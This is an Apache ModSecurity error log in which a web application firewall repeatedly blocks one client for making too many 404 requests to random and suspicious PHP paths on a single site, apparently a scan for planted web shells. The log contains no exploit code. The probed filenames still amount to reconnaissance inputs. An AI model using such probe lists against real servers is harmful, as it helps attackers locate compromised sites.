[Sun Dec 14 19:16:46.316893 2025] [:error] [pid 39525:tid 39605] [client 4.190.155.242:5010] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aT6cnk1fX_pB_BrvE_42egAAAJY"]
[Sun Dec 14 19:16:46.558630 2025] [:error] [pid 40596:tid 40649] [client 4.190.155.242:5110] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aT6cnmvZZo4N2X7WoLx7yAAAAdc"]
[Sun Dec 14 19:16:46.830819 2025] [:error] [pid 39525:tid 39588] [client 4.190.155.242:5073] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aT6cnk1fX_pB_BrvE_42fAAAAIU"]
[Sun Dec 14 19:16:47.100323 2025] [:error] [pid 39525:tid 39601] [client 4.190.155.242:5096] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nucqsqeg.php"] [unique_id "aT6cn01fX_pB_BrvE_42fQAAAJI"]
[Sun Dec 14 19:16:47.373909 2025] [:error] [pid 13799:tid 13822] [client 4.190.155.242:4996] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aT6cn3jPEin01ElFTNYnWgAAAhQ"]
[Sun Dec 14 19:16:47.632285 2025] [:error] [pid 39523:tid 39543] [client 4.190.155.242:4999] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aT6cnzQTQH1raAj2lkjP9gAAAA8"]
[Sun Dec 14 19:16:47.902011 2025] [:error] [pid 39524:tid 39578] [client 4.190.155.242:5112] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aT6cn2rVGpbDzFtDE9PM9AAAAFY"]
[Sun Dec 14 19:16:48.181480 2025] [:error] [pid 13799:tid 13813] [client 4.190.155.242:5118] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aT6coHjPEin01ElFTNYnXwAAAgs"]
[Sun Dec 14 19:16:48.442120 2025] [:error] [pid 40561:tid 40586] [client 4.190.155.242:5088] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aT6coIY6r869zoqRQkS8XAAAAVU"]
[Sun Dec 14 19:16:48.700573 2025] [:error] [pid 40595:tid 40616] [client 4.190.155.242:5057] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aT6coPjrht6y4RN-xKQILgAAAZE"]
[Sun Dec 14 19:16:48.972626 2025] [:error] [pid 39523:tid 39545] [client 4.190.155.242:5104] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aT6coDQTQH1raAj2lkjP-QAAABE"]
[Sun Dec 14 19:16:49.245378 2025] [:error] [pid 39524:tid 39569] [client 4.190.155.242:5113] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aT6coWrVGpbDzFtDE9PM9wAAAE0"]
[Sun Dec 14 19:16:49.489528 2025] [:error] [pid 39524:tid 39572] [client 4.190.155.242:5029] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aT6coWrVGpbDzFtDE9PM-AAAAFA"]
[Sun Dec 14 19:16:49.742959 2025] [:error] [pid 40595:tid 40617] [client 4.190.155.242:5006] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aT6cofjrht6y4RN-xKQIMAAAAZI"]
[Sun Dec 14 19:16:50.000231 2025] [:error] [pid 13799:tid 13812] [client 4.190.155.242:5015] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aT6coXjPEin01ElFTNYnZAAAAgo"]
[Sun Dec 14 19:16:50.244905 2025] [:error] [pid 41600:tid 41606] [client 4.190.155.242:5027] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aT6cotFLTBZjcwNd_VvqLQAAAQM"]
[Sun Dec 14 19:16:50.488165 2025] [:error] [pid 39524:tid 39574] [client 4.190.155.242:5114] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aT6comrVGpbDzFtDE9PM_AAAAFI"]
[Sun Dec 14 19:16:50.732726 2025] [:error] [pid 41600:tid 41617] [client 4.190.155.242:5007] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aT6cotFLTBZjcwNd_VvqLwAAAQ4"]
[Sun Dec 14 19:16:51.029505 2025] [:error] [pid 39524:tid 39580] [client 4.190.155.242:5101] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aT6co2rVGpbDzFtDE9PNAAAAAFg"]
[Sun Dec 14 19:16:51.312886 2025] [:error] [pid 41600:tid 41604] [client 4.190.155.242:5115] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aT6co9FLTBZjcwNd_VvqMAAAAQE"]
[Sun Dec 14 19:16:51.578476 2025] [:error] [pid 39614:tid 39617] [client 4.190.155.242:5099] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aT6co_xybG8-9MflbDdV_AAAAME"]
[Sun Dec 14 19:16:51.868588 2025] [:error] [pid 41600:tid 41607] [client 4.190.155.242:5026] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aT6co9FLTBZjcwNd_VvqMQAAAQQ"]
[Sun Dec 14 19:16:52.119852 2025] [:error] [pid 41600:tid 41620] [client 4.190.155.242:5048] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aT6cpNFLTBZjcwNd_VvqMgAAARE"]
[Sun Dec 14 19:16:52.426815 2025] [:error] [pid 40561:tid 40570] [client 4.190.155.242:5085] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aT6cpIY6r869zoqRQkS8YQAAAUU"]
[Sun Dec 14 19:16:52.681771 2025] [:error] [pid 40595:tid 40601] [client 4.190.155.242:5001] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aT6cpPjrht6y4RN-xKQINgAAAYI"]
[Sun Dec 14 19:16:52.937804 2025] [:error] [pid 39524:tid 39575] [client 4.190.155.242:5111] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aT6cpGrVGpbDzFtDE9PNCAAAAFM"]
[Sun Dec 14 19:16:53.180720 2025] [:error] [pid 40595:tid 40602] [client 4.190.155.242:5068] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aT6cpfjrht6y4RN-xKQIOQAAAYM"]
[Sun Dec 14 19:16:53.421216 2025] [:error] [pid 39523:tid 39546] [client 4.190.155.242:5067] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aT6cpTQTQH1raAj2lkjP_gAAABI"]
[Sun Dec 14 19:16:53.684974 2025] [:error] [pid 40561:tid 40568] [client 4.190.155.242:5000] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aT6cpYY6r869zoqRQkS8ZAAAAUM"]
[Sun Dec 14 19:16:53.942907 2025] [:error] [pid 40561:tid 40565] [client 4.190.155.242:5095] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aT6cpYY6r869zoqRQkS8ZgAAAUA"]
[Sun Dec 14 19:16:54.226178 2025] [:error] [pid 39614:tid 39618] [client 4.190.155.242:5071] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aT6cpvxybG8-9MflbDdV_wAAAMI"]
[Sun Dec 14 19:16:54.470708 2025] [:error] [pid 40561:tid 40576] [client 4.190.155.242:5020] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aT6cpoY6r869zoqRQkS8ZwAAAUs"]
[Sun Dec 14 19:16:54.721867 2025] [:error] [pid 39523:tid 39547] [client 4.190.155.242:5086] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aT6cpjQTQH1raAj2lkjQAgAAABM"]
[Sun Dec 14 19:16:54.964520 2025] [:error] [pid 40561:tid 40566] [client 4.190.155.242:4998] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aT6cpoY6r869zoqRQkS8aAAAAUE"]
[Sun Dec 14 19:16:55.251189 2025] [:error] [pid 41600:tid 41622] [client 4.190.155.242:5062] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aT6cp9FLTBZjcwNd_VvqOQAAARM"]
[Sun Dec 14 19:16:55.506130 2025] [:error] [pid 40561:tid 40581] [client 4.190.155.242:5090] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aT6cp4Y6r869zoqRQkS8agAAAVA"]
[Sun Dec 14 19:16:55.750542 2025] [:error] [pid 39524:tid 39573] [client 4.190.155.242:4941] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-header.php"] [unique_id "aT6cp2rVGpbDzFtDE9PNEAAAAFE"]
[Sun Dec 14 19:16:56.077592 2025] [:error] [pid 39524:tid 39561] [client 4.190.155.242:5102] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-header.php"] [unique_id "aT6cqGrVGpbDzFtDE9PNEwAAAEU"]
[Sun Dec 14 19:16:56.340981 2025] [:error] [pid 39524:tid 39559] [client 4.190.155.242:5091] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-header.php"] [unique_id "aT6cqGrVGpbDzFtDE9PNFAAAAEM"]
[Sun Dec 14 19:16:56.585032 2025] [:error] [pid 39523:tid 39544] [client 4.190.155.242:5094] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-header.php"] [unique_id "aT6cqDQTQH1raAj2lkjQBAAAABA"]
[Sun Dec 14 19:16:56.825847 2025] [:error] [pid 39523:tid 39551] [client 4.190.155.242:5008] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aT6cqDQTQH1raAj2lkjQBQAAABc"]
[Sun Dec 14 19:16:57.067075 2025] [:error] [pid 41600:tid 41614] [client 4.190.155.242:5046] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aT6cqdFLTBZjcwNd_VvqPwAAAQs"]
[Sun Dec 14 19:16:57.309654 2025] [:error] [pid 39525:tid 39603] [client 4.190.155.242:5098] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aT6cqU1fX_pB_BrvE_42jwAAAJQ"]
[Sun Dec 14 19:16:57.574810 2025] [:error] [pid 41600:tid 41611] [client 4.190.155.242:5107] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aT6cqdFLTBZjcwNd_VvqQwAAAQg"]
[Sun Dec 14 19:16:57.826034 2025] [:error] [pid 41600:tid 41607] [client 4.190.155.242:5106] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aT6cqdFLTBZjcwNd_VvqRQAAAQQ"]
[Sun Dec 14 19:16:58.071572 2025] [:error] [pid 40596:tid 40641] [client 4.190.155.242:5003] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aT6cqmvZZo4N2X7WoLx76QAAAc8"]
[Sun Dec 14 19:16:58.333462 2025] [:error] [pid 40595:tid 40619] [client 4.190.155.242:5004] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aT6cqvjrht6y4RN-xKQIPQAAAZQ"]
[Sun Dec 14 19:16:58.587073 2025] [:error] [pid 39523:tid 39549] [client 4.190.155.242:5081] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BMjXQkgwpeb.php"] [unique_id "aT6cqjQTQH1raAj2lkjQCgAAABU"]
[Sun Dec 14 19:16:58.828188 2025] [:error] [pid 40595:tid 40613] [client 4.190.155.242:5078] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aT6cqvjrht6y4RN-xKQIPwAAAY4"]
[Sun Dec 14 19:16:59.072530 2025] [:error] [pid 40561:tid 40582] [client 4.190.155.242:5014] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aT6cq4Y6r869zoqRQkS8bgAAAVE"]
[Sun Dec 14 19:16:59.315901 2025] [:error] [pid 39524:tid 39577] [client 4.190.155.242:5082] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aT6cq2rVGpbDzFtDE9PNHwAAAFU"]
[Sun Dec 14 19:16:59.563606 2025] [:error] [pid 39524:tid 39569] [client 4.190.155.242:4979] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FSCMNvnjPX4.php"] [unique_id "aT6cq2rVGpbDzFtDE9PNIgAAAE0"]
[Sun Dec 14 19:16:59.811099 2025] [:error] [pid 13799:tid 13818] [client 4.190.155.242:4934] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aT6cq3jPEin01ElFTNYnfAAAAhA"]
[Sun Dec 14 19:17:00.070953 2025] [:error] [pid 13799:tid 13805] [client 4.190.155.242:5039] [client 4.190.155.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aT6crHjPEin01ElFTNYnfwAAAgM"]
